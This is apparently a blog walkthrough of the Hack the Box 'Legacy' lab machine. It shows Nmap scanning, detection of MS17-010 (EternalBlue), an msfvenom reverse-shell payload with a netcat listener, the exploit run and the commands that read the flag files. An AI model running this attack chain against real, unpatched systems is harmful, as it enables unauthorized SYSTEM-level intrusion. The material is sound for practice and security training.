Hack the Box - Legacy - Walkthrough
Introduction
Today we're going to be doing a pentest walkthrough of the Legacy machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Legacy machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.1.111.
Scanning and Enumeration
We'll start by scanning for open ports with Nmap:
sudo nmap -T4 -p- 10.129.1.111
And then one more scan with Nmap to enumerate specific ports and services:
sudo nmap -sV -T4 -p139,445,3389 10.129.1.111
We'll do a cursory check for common SMB vulnerabilities using Nmap, using a script.
sudo nmap -T4 -p139,445 --script=smb-vuln* 10.129.1.111
Finding a Way In
Nmap reports that the target is vulnerable to MS17-010, aka Eternal Blue. There's a preferred exploit we use for Eternal Blue, located at the following URL:
https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py
Once the exploit script has been downloaded, and all the dependency modules have been installed, such as impacket, we can use the send_and_execute.py script to exploit the target. The script requires us to specify an executable for the remote host to run, so we'll create a reverse shell executable with MSFvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.99.99 LPORT=443 -f exe -o HTBwinRevShell443.exe
sudo nc -nlvp 443
Now to run the exploit script and open our reverse shell.
python send_and_execute.py 10.129.1.111 HTBwinRevShell443.exe
hostname
Okay. We're in, and we've verified that the hostname of the system we're on is Legacy. Reverse shells created by the Eternal Blue exploit grant SYSTEM level access, so we can just collect the User and Root flags now.
Collecting the User Flag
Since this is a Hack the Box, machine. We'll take this opportunity to collect the User.txt flag. On Windows systems, it's usually located in one of the user's Desktop directories: On this machine, it's located in the john user's.
cd \
dir user.txt /s
type "C:\Documents and Settings\john\Desktop\user.txt"
And now to collect the Root flag.
Collecting the Root Flag
The root flag on Hack the Box's Windows machines is usually located in the Administrator user's Desktop directory:
dir root.txt /s
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
Summary
The Legacy machine was running SMB services on an insufficiently patched version of Windows XP, which was vulnerable to the Eternal Blue exploit. We were able to gain elevated access to the system by using a public Eternal Blue exploit and collect the flag files.
Finish
Comments
Post a Comment